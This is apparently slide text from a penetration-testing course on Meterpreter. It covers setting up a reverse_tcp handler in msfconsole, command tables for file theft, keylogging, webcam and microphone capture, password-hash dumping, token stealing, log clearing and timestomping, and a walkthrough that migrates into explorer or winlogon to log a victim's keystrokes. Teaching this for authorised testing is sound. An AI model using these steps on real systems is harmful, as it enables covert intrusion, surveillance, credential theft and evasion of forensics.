

Meterpreter

(...a crowd favorite for payloads)

Attacker's Methodology



What is Meterpreter?

- Multi-faceted payload that operates via Dynamic Link Library (DLL) injection
- Included as part of the Metasploit Framework

Benefits of Meterpreter

- Resides in volatile memory of target and leaves no traces on the hard drive
- Difficult to detect using conventional forensic techniques

How Meterpreter Works

- DLL gets injected into exploited process (getpid)
- Hooks Win32 API LoadLibrary
- Changes lower level API's behavior to loading of metsrv.dll from memory

Setup Meterpreter

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root@kali:~# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST [KALI IP]
msf exploit(handler) > set LPORT 2541
msf exploit(handler) > exploit
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Set the payload, listening host, and listening port in order to receive the “callback” from the exploit

Meterpreter Commands

Core Commands	
Command	Description
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?	Help menu
background	Backgrounds the current session
bgkill	Kills a background meterpreter script
bglist	Lists running background scripts
bgrun	Executes a meterpreter script as a background thread
channel	Displays information about active channels
close	Closes a channel
disable_unicode_encoding	Disables encoding of unicode strings
enable_unicode_encoding	Enables encoding of unicode strings
exit	Terminate the meterpreter session

Type help, ?, or info

Background

- Moves current session to the background
- Allows you to hack multiple boxes at once
- Use sessions to interact with backgrounded sessions

Sessions

- sessions (shows all active sessions)
- sessions -i [ID #]
 - Interact with session #
- sessions -k [ID #]
 - Kill session #
- sessions -K
 - Kill all sessions

Meterpreter Commands

close	Closes a channel
disable_unicode_encoding	Disables encoding of unicode strings
enable_unicode_encoding	Enables encoding of unicode strings
exit	Terminate the meterpreter session
help	Help menu
info	Displays information about a Post module
interact	Interacts with a channel
irb	Drop into irb scripting mode
load	Load one or more meterpreter extensions
migrate	Migrate the server to another process
quit	Terminate the meterpreter session
read	Reads data from a channel
resource	Run the commands stored in a file
run	Executes a meterpreter script or Post module
use	Deprecated alias for 'load'
write	Writes data to a channel

Migrate

- Fork meterpreter into another process
- Useful during maintaining access and covering our tracks phases

Migrate

LEGITIMATE
PROCESSES

INITIAL PAYLOAD

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C:\ Command Prompt

C:\>tasklist /fi "MODULES eq rsaenh.dll" /fi "MODULES eq iphlpapi.dll"

Image Name          PID Session Name      Session#    Mem Usage
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winlogon.exe        636 Console                   0        4,276 K
lsass.exe           692 Console                   0        2,380 K
svchost.exe         944 Console                   0        4,644 K
svchost.exe         1028 Console                  0        50,380 K
svchost.exe         1076 Console                  0        3,952 K
explorer.exe        1064 Console                  0        2,636 K
wab32res.exe        2336 Console                  0        5,972 K

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winlogon.exe        636 Console                   0        4,276 K
lsass.exe           692 Console                   0        1,640 K
svchost.exe         944 Console                   0        4,644 K
svchost.exe         1028 Console                  0        50,260 K
svchost.exe         1076 Console                  0        3,952 K
explorer.exe        1064 Console                  0        9,568 K
wab32res.exe        2336 Console                  0        6,076 K
calc.exe            3028 Console                  0        6,428 K

C:\>tasklist /fi "MODULES eq metsrv.dll"
INFO: No tasks running with the specified criteria.

C:\>
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Meterpreter Commands

Stdapi: File system Commands

Command	Description
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cat	Read the contents of a file to the screen
cd	Change directory
download	Download a file or directory
edit	Edit a file
getlwd	Print local working directory
getwd	Print working directory
lcd	Change local working directory
lpwd	Print local working directory
ls	List files
mkdir	Make directory
pwd	Print working directory
rm	Delete the specified file
rmdir	Remove directory
search	Search for files
upload	Upload a file or directory

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Stdapi: Networking Commands	
Command	Description
arp	Display the host ARP cache
ifconfig	Display interfaces
ipconfig	Display interfaces
netstat	Display the network connections
portfwd	Forward a local port to a remote service
route	View and modify the routing table

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Stdapi: System Commands

Command	Description
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clearev	Clear the event log
drop_token	Relinquishes any active impersonation token.
execute	Execute a command
getpid	Get the current process identifier
getprivs	Attempt to enable all privileges available to the current process
getuid	Get the user that the server is running as
kill	Terminate a process
ps	List running processes
reboot	Reboots the remote computer
reg	Modify and interact with the remote registry
rev2self	Calls RevertToSelf() on the remote machine
shell	Drop into a system command shell
shutdown	Shuts down the remote computer
steal_token	Attempts to steal an impersonation token from the target process
suspend	Suspends or resumes a list of processes
sysinfo	Gets information about the remote system, such as OS

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Stdapi: User interface Commands

Command	Description
enumdesktops	List all accessible desktops and window stations
getdesktop	Get the current meterpreter desktop
idletime	Returns the number of seconds the remote user has been idle
keyscan_dump	Dump the keystroke buffer
keyscan_start	Start capturing keystrokes
keyscan_stop	Stop capturing keystrokes
screenshot	Grab a screenshot of the interactive desktop
setdesktop	Change the meterpreter's current desktop
uictl	Control some of the user interface components



The quietest

Keylogger

- `keyscan_start`
 - Start logging keystrokes on victim
- `Keyscan_stop`
 - Stop logging keystrokes
- `Keyscan_dump`
 - Look at captured keystrokes

Keylogger

meterpreter > getuid

--Should be system

meterpreter > ps

--note pid of Winlogon.exe/Explorer.exe

meterpreter > migrate [pid]

meterpreter > getuid

--should be current user

meterpreter > keyscan_start

{Now type in notepad on your victim box}

meterpreter > keyscan_dump

*To interact with the keyboard/mouse,
you must have a user rights!*

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Stdapi: Webcam Commands

Command	Description
record_mic	Record audio from the default microphone for X seconds
webcam_list	List webcams
webcam_snap	Take a snapshot from the specified webcam

Priv: Elevate Commands

Command	Description
getsystem	Attempt to elevate your privilege to that of local system.

Meterpreter Commands

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Priv: Password database Commands
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Command	Description
hashdump	Dumps the contents of the SAM database

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Priv: Timestomp Commands
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Command	Description
timestomp	Manipulate file MACE attributes



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